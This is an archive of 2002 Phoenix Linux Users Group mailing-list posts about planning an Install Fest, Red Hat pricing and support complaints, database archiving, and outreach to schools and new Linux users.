May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:47:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Thu, 27 Jun 2002 04:47:59 -0700 Subject: Install Fest II 0626 Status In-Reply-To: References: Message-ID: <20020627114759.NRAX1378.fed1mtao03.cox.net@there> well, depending on where it is in the west side, I may be able to attend as installer/administrator (let me know). thanks On Thursday 27 June 2002 03:40 am, you wrote: > Pardon the delay, sent this last night > with the wrong From: address. > > ---------- Forwarded message ---------- > Subject: Install Fest II 0626 Status > > All corrections and feedback very welcome! > > > News: > > Jim Farli has started the Install Fest II > web site. Looking great! Thanks, Jim! > http://www.plugpresents.com/installfest2/ > > > Suggestions: > > - More Install Stations > - Preliminary Survey - User Needs? > - Feedback Survey - How to Improve? > - 802.11 > - Press Releases on 31 July and 31 Aug > - Student Newspaper Oriented Press Releases > - Demo Zone With Demonstrators > - Presentations > - PLUG Promotional Materials (PLUG Flyer) > - PLUG Promotional Materials (PLUG T-Shirt) > - Mailing List Registration - Current Lists > - May We Contact You? - Attendees > - May We Contact You? - Install Customers > - PLUG Membership Database > - Homemade Cheesecake > > > Tasks: > - Verify site (GCC Student Union?) and date (28 Sep?). > - Assess priority and feasibility of suggestions. > - Identify volunteers for open slots. > > > Sponsor Status: > - Sun > Sent an email to the AZ educational sales > rep requesting information on the right > channel for sponsorship queries. > > > Volunteers: > > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > > Open Volunteer Slots (verified): > > - Sponsor Wrangler > Contact companies regarding sponsorship. > Alan has been mentioned as a good resource > for contacts. > > - Installers > Be on hand day of show to do installs. > Typically oriented by distro, and would > be nice to have some specialists (multi-boot, > firewall, etc). > > > Open Volunteer Slots (proposed): > > - Surveys > Arrange print and online versions of two > surveys: Preliminary, focusing on the type > of install needed. Feedback, focusing on > opportunities for improvement. A first draft > of a feedback survey is available. > > - 802.11 > Arrange use of appropriate wireless gear. > > - Demo Zone > Arrange demonstrators and coordinate efforts > to provide appropriate systems. > > - Presentations > Arrange presenters and coordinate access to > a projector and OpenOffice presentation > software. > > - T-Shirts > Arrange printing of PLUG T-Shirts for sale > and/or doorprizes at Install Fest. Probably > requires harvesting of donations and/or > investment in return on sales. > > - Contact Registration > Arrange electronic and paper registration > for mailing lists and "May We Contact You"s. > > - PLUG Membership Database > Arrange a database for categorizing and > searching through PLUG friends for experts > in given areas. > > - Homemade Cheesecake > Arrange for food for the hardworking volunteers. > > - Legal > Make sure our collective butt is covered. > In particular consider the data loss indemnification > from last time, and the cost/benefit/permission of > selling T-shirts, StarOffice, and/or cheesecake. > > ------------------------------------------------------------------- > "...it's time to drop all the Reagan-era cliches and face facts. > That much economic clout in the hands of one company is bad for > the whole software industry. Including Microsoft. This is [no > longer] a free market." - Flying Monkey 6 > ------------------------------------------------------------------- > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:14:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:14:35 -0400 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> <001b01c21d99$58560770$2f7c0d82@peyote> Message-ID: <3D1B01AB.1D1DC61D@georgetoft.com> When a business person looks at a shift in technology, they must consider retraining and migration costs. I spend about and hour per day (less now that we fixed a glaring design error from a Big 5 Consulting firm that we paid almost 7 figures to) talking with people who are confused by a statement like this: "Please answer three of the five questions below." This is demonstrated to me daily as people answer all five questions. There is a substantial difference between you/me, and the average corporate PC user. Business must take these factors into account when making migration and upgrade plans. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:20:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:20:04 -0400 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <3D1B02F4.3E355CF9@georgetoft.com> Kevin Brown wrote: [snip] > > (Another small story) > > A friend of mine runs a technology related service business. He was getting > > too much work so he started raising his quotes. He started getting even more > > work from people that had dropped him before because he was "priced too low to > > be very good" as they later told him. > > (End of small story) > > This is because you either don't know what your skills are worth, or will take > more time than someone charging more per hour and cost them more in the long run > (time == money, especially during downtime). At least in their eyes. > I knew someone with the same story. When he charged $35/hour, he was swamped. Then he charged $75/hour, and he was losing business. He raised it to $125/hour and he was getting business he had lost before. Their stated reason for not hiring him at $75/hour was they though he didn't know what he was doing at that price. For $125/hour they thought he was competent. No change in technical skill - just a change in marketing. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:49:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 07:49:36 -0400 (EDT) Subject: IF2 and Corp. Usability (was (no subject)) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: I think this is one of the great opportunities afforded us in doing Install Fests and keeping track of new users of Linux. By finding out what new users are having trouble with, we can soften the most painful sharp edges. By asking people if we can contact them, then following up after 1 month, 3 months, 6 months, and a year, we can find out what will make Linux more appealing to new users. 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A system that is consistent with what > most people are used to is important. > > George > > > slr wrote: > > > > i must disagree with this slightly, because my case was a little different > > than the average Windoze user. i came from the MainFrame world, and to me at > > that time a PC was a toy. so the first Windoze box i saw was a joke, > > compared to the Data Center surrounding it. anyway i eventually got a PC > > because i want to play Doom, and of coarse Windoze. i started running > > lightstep because i couldnt stand exploder, > > then one day this friend of mine was over and i was showing him lightstep > > and he said i have something i think you will like. he was right, > > Enlightenment DR13 running the default theme on a RH 5.0 box. that was it > > for me, i had to run it. > > > > so Enlightenment did it for me, and if it would have been a Windows look > > alike i dont know if Linux would have sparked the passion that it did. i'm > > not saying that Enlightenment should be the main focus by no means. but i do > > feel it deserves a place somewhere, in some dark obscure corner. :~D > > > > slr > > > > > I would hate to see the demo compare some Windows box with > > > Enlightenment. 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 13:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 06:02:40 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: is this updateable sql views and triggers that move older records to the archive? On Wed, 26 Jun 2002, der.hans wrote: There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:58:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 05:58:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 07:11:31 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Wednesday, June 26, 2002 8:42 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! RedHat Professional comes with 90 days technical support. It also has all the printed manuals that would cost about $35 separately. (A small story, indirectly related.) I have successfully setup a new CVS server at work using RH7.3, Webmin and CVS, of course. In explaining what I had done and what I am using to do it, our company product manager said, and I quote, "If all that software is free, why are we using it. It is probably crap." This was followed by a brief demonstration of Webmin that left him less "against" the software but still not "for" it. (End of story.) (Another small story) A friend of mine runs a technology related service business. He was getting too much work so he started raising his quotes. He started getting even more work from people that had dropped him before because he was "priced too low to be very good" as they later told him. (End of small story) RedHat, I think, is marketing to the people who think they have to pay for something for it to be any good. And if they are right, and people want to pay for the support and the manuals, they remain a viable company. Some people want to pay lots of money. Would we geeks pay it? Nope. But some of the suits and non-geeks will. RedHat will find out soon enough if the market will pay the price they are asking. Alan On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" wrote: Is it my imagination or does it seem that the worst products always costs more.  ie.  If you want Windows XP you plan on paying $179. for the home version and more for the professional version.  Again with RedHat you have a $79.95 personal or workstation edition and comes with 3 cd's.  Get the professional version for around $199.00 and i'm not sure how many cd's come with it.  Is RedHat trying to compete with Microsoft on who can supply the most expensive product?   Before anyone goes off saying well you can just download the distro and don't have to pay those prices.  I am thinking of the newbies.  I would never hand a newbie 3 cd's and say here ya go.  I would like to have the documentation to go with it.  Of course Redhat and Windows both give you wafer thin manuals.  SuSE and Mandrake give you good size manuals with plenty of information packed in them.  Also SuSE Professional is only $79.95 and comes with 7 cd's and one DVD.  The DVD had everything all 7 cd's have and you don't have to do any disk swaps.   I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat lags far behind the competitors.  Try to install Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS format,  Redhat won't even make an entry for Windows XP in lilo.  I can imagine the panic attack a newbies face after the redhat install and the only option is Redhat.  LOL  That is of course if you can get Redhat to install in the first place. It don't like being on a second drive or on a partiton with windows that's any larger than 8 gigs.   SuSE has always installed on any drive no matter what the size or what drive since version 7.1 and earlier maybe.  This is a serious issue that Redhat needs to address.   I dunno,  I just don't see how the cost of Redhat boxed distro's is justified.  Maybe i'm missing the point?  Is there anyone out there that can show me the point?   ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Thu, 27 Jun 2002 07:41:39 -0700 (MST) Subject: =?iso-8859-1?Q?Re:_Crappy_Products_Cost_More!!?= In-Reply-To: <200206262236.18276.krycom1@cox.net> References: <200206262236.18276.krycom1@cox.net> Message-ID: <46631.144.15.249.67.1025188899.squirrel@www.esaravana.com> I use Redhat regularly, but try SuSE, Debian, TurboLinux and others, here and there. I always happened to go back to RedHat. Their manual is up to the point, anything more than that you could always visit them on-line. I always found SuSE manuals too bloated. I used to buy every release of RedHat, but after they upped the prices I have been buying just the alternate releases. They seem to be also doing lot of things with Linux for schools, fighting against M$ and working with corporation like Oracle/IBM/.. in porting their applications to Linux. Sundar > On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: >> > RedHat Professional comes with 90 days technical support. It also >> > has all the printed manuals that would cost about $35 separately. > > What manuals, that's my point. I have the boxed version and the > manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of > manuals. > > >> I had no problems with the price that RH was charging ($50 for boxed >> copy). > > Me either, until they up the price for $79 for boxed copy or $199 for > the server edition. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:19:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 27 Jun 2002 08:19:32 -0700 Subject: Install Fest II 0626 Status Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0C@azmscorp01.corp.azms> Yeah I was wondering what would happen if the installfest was joined with a lanparty? Larry Get linux and frag your friends.. :) -----Original Message----- From: Tom Emerson [mailto:tom@technicaljanitors.com] Sent: Thursday, June 27, 2002 5:58 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install Fest II 0626 Status A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:51:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 08:51:21 -0700 Subject: Install fest interest generation References: <02062618474610.07972@nova.wedge.org> Message-ID: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> How about advertising the Installfest in the local school systems? The local high schools are probably full of the curious. And students like free:-) It wouldn't take much get the message out to the schools, perhaps posting it in the computer labs. then again, IANAE (I am not an educator) but some on this list are. anthony ----- Original Message ----- From: "Jim" To: Sent: Wednesday, June 26, 2002 6:47 PM Subject: Re: (no subject) > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Install Fests generally attract the curious and the convinced. They are > either convinced that they want to switch to Linux or they are curious. They > are also usually Joe Sixpack types who are getting on the clue train or > geeks-in-training who know that there is a lot of fun under the hood. Not too > many suits show up. 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:33:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 09:33:05 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <20020627010103.GO8953@ecloud.org> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <5.1.0.14.0.20020626203832.025352a0@localhost> In answer.................... At 6/26/02, you wrote: >Isn't there an announce list? If the membership of this list were exposed >to its members (which I see right now it isn't - only the admin can see this) >then you'd basically have an email list. Maybe this could be augmented >with a database which maps the emails to some web links. Every member >could modify this mapping to link the email to a "my involvement with >PLUG" type page, and some software could be set up on the PLUG web >server to optionally host those pages there instead of on members' own >web servers, for those who don't have their own. Your password for your >mailing list membership should be re-used to grant you access to edit >your automatically-created default member page. Sounds like a job for >Zope or something doesn't it? And that's the reason for my two cents or so. That's what Unity Wave does. We have programming that allows for quick duplication of a "template" that is then easily updated by the user rather than the webmaster. I have proposed this kind of programming before. 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Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:25:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 09:25:22 -0700 (MST) Subject: Install fest interest generation In-Reply-To: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> Message-ID: High Schools and the Junior/Middle Schools too. Be nice to spark an interest at the Middle School level. Reaching back in memory, middle school, we had access to the County's PDP11 via a decwriter & acoustic coupler. We were Gods! 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 09:45:28 -0700 Subject: scripts in vi Message-ID: <3D1B4128.6020607@ttiltd.com> I would like to know how to execute scripts in vi. Can someone help me with this? For example a script that would insert a date into a document. Greg From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:48:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 09:48:30 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <000901c21dfa$779072e0$0e02a8c0@krycom> Yea I have noticed that the default desktop is Gnome and KDE is unchecked during install. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 7:11 AM Subject: RE: Crappy Products Cost More!! > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. > > If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. > > -----Original Message----- > From: alandd@mindspring.com [mailto:alandd@mindspring.com] > Sent: Wednesday, June 26, 2002 8:42 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) > > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. > > Alan > > On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" > wrote: > > Is it my imagination or does it seem that the worst > products always costs more. ie. If you want Windows XP you plan on > paying $179. for the home version and more for the professional version. > Again with RedHat you have a $79.95 personal or workstation edition and comes > > with 3 cd's. Get the professional version for around $199.00 and i'm not > sure how many cd's come with it. Is RedHat trying to compete with > Microsoft on who can supply the most expensive product? > > Before anyone goes off saying well you can just > download the distro and don't have to pay those prices. I am thinking of > the newbies. I would never hand a newbie 3 cd's and say here ya go. > I would like to have the documentation to go with it. Of course Redhat and > Windows both give you wafer thin manuals. SuSE and Mandrake give you good > size manuals with plenty of information packed in them. Also SuSE > Professional is only $79.95 and comes with 7 cd's and one DVD. The DVD had > everything all 7 cd's have and you don't have to do any disk swaps. > > I have worked with Redhat, Mandrake, and SuSE and > it seems that Redhat lags far behind the competitors. Try to install > Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS > > format, Redhat won't even make an entry for Windows XP in lilo. I > can imagine the panic attack a newbies face after the redhat install and the > only option is Redhat. LOL That is of course if you can get Redhat > to install in the first place. It don't like being on a second drive or on a > partiton with windows that's any larger than 8 gigs. > > SuSE has always installed on any drive no matter > what the size or what drive since version 7.1 and earlier maybe. > This is a serious issue that Redhat needs to address. > > I dunno, I just don't see how the cost of > Redhat boxed distro's is justified. Maybe i'm missing the point? Is > there anyone out there that can show me the point? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to 